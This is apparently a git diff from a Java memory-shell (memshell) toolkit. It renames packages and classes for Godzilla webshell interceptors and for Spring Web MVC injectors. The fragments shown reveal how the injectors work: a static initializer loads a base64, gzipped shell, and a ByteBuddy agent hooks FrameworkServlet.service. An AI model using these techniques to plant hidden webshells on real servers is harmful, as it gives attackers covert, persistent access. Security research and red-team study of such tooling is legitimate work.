memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaInterceptor.java index bebe02f8..1cc9a15b 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaInterceptor.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.godzilla; +package com.reajason.javaweb.memshell.springwebmvc.godzilla; import org.springframework.web.servlet.AsyncHandlerInterceptor; import org.springframework.web.servlet.ModelAndView; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaServletAdvisor.java similarity index 99% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaServletAdvisor.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaServletAdvisor.java index f7c94002..83854b3f 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaServletAdvisor.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaServletAdvisor.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.godzilla; +package com.reajason.javaweb.memshell.springwebmvc.godzilla; import net.bytebuddy.asm.Advice; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcControllerHandlerInjector.java similarity index 97% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInjector.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcControllerHandlerInjector.java index 102b2261..01358474 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcControllerHandlerInjector.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.injector; +package com.reajason.javaweb.memshell.springwebmvc.injector; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; @@ -14,10 +14,10 @@ import java.util.zip.GZIPInputStream; * @author ReaJason * @since 2024/12/22 */ -public class SpringControllerHandlerInjector { +public class SpringWebMvcControllerHandlerInjector { static { - new SpringControllerHandlerInjector(); + new SpringWebMvcControllerHandlerInjector(); } public String getUrlPattern() { @@ -32,7 +32,7 @@ public class SpringControllerHandlerInjector { return "{{base64Str}}"; } - public SpringControllerHandlerInjector() { + public SpringWebMvcControllerHandlerInjector() { try { Object context = getContext(); Object interceptor = getShell(); diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringFrameworkServletAgentInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentInjector.java similarity index 90% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringFrameworkServletAgentInjector.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentInjector.java index 341f9689..c8f75d33 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringFrameworkServletAgentInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentInjector.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.injector; +package com.reajason.javaweb.memshell.springwebmvc.injector; import net.bytebuddy.agent.builder.AgentBuilder; import net.bytebuddy.asm.Advice; @@ -16,7 +16,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named; * @author ReaJason * @since 2024/12/28 */ -public class SpringFrameworkServletAgentInjector implements AgentBuilder.Transformer { +public class SpringWebMvcFrameworkServletAgentInjector implements AgentBuilder.Transformer { static Class interceptorClass = null; @@ -57,7 +57,7 @@ public class SpringFrameworkServletAgentInjector implements AgentBuilder.Transfo // .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) // .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) .type(named("org.springframework.web.servlet.FrameworkServlet")) - .transform(new SpringFrameworkServletAgentInjector()) + .transform(new SpringWebMvcFrameworkServletAgentInjector()) .installOn(inst); System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service"); } diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcInterceptorInjector.java similarity index 97% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcInterceptorInjector.java index 664abe35..4d0c68b8 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcInterceptorInjector.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.injector; +package com.reajason.javaweb.memshell.springwebmvc.injector; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; @@ -14,10 +14,10 @@ import java.util.zip.GZIPInputStream; * @author ReaJason * @since 2024/12/22 */ -public class SpringInterceptorInjector { +public class SpringWebMvcInterceptorInjector { static { - new SpringInterceptorInjector(); + new SpringWebMvcInterceptorInjector(); } public String getUrlPattern() { @@ -32,7 +32,7 @@ public class SpringInterceptorInjector { return "{{base64Str}}"; } - public SpringInterceptorInjector() { + public SpringWebMvcInterceptorInjector() { try { Object context = getContext(); Object interceptor = getShell();